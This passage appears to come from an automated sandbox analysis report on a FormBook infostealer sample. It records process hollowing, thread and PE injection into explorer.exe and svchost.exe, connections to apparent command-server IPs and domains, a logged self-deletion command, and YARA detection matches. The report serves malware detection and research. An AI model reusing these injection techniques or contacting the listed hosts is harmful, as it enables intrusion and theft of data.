Source: C:\Windows\SysWOW64\svchost.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Code function: 6_2_0040ACE0 LdrLoadDll, 6_2_0040ACE0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

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System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 63.250.43.8 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.personowner.guru
Source: C:\Windows\explorer.exe Domain query: www.audiofactaesthetic.com
Source: C:\Windows\explorer.exe Network Connect: 99.83.154.118 80 Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Section unmapped: C:\Windows\SysWOW64\svchost.exe base address: 5E0000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Memory written: C:\Users\user\AppData\Roaming\ibeframnk863.exe base: 400000 value starts with: 4D5A Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Thread register set: target process: 1764 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Thread register set: target process: 1764 Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Thread register set: target process: 1764 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe C:\Users\user\AppData\Roaming\ibeframnk863.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\ibeframnk863.exe' Jump to behavior
Source: explorer.exe, 00000007.00000000.421919060.0000000000750000.00000002.00020000.sdmp, svchost.exe, 00000008.00000002.694662183.0000000001DE0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp Binary or memory string: ProgmanG
Source: explorer.exe, 00000007.00000000.421919060.0000000000750000.00000002.00020000.sdmp, svchost.exe, 00000008.00000002.694662183.0000000001DE0000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: explorer.exe, 00000007.00000000.421919060.0000000000750000.00000002.00020000.sdmp, svchost.exe, 00000008.00000002.694662183.0000000001DE0000.00000002.00020000.sdmp Binary or memory string: Program Manager<

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Queries volume information: C:\Users\user\AppData\Roaming\ibeframnk863.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs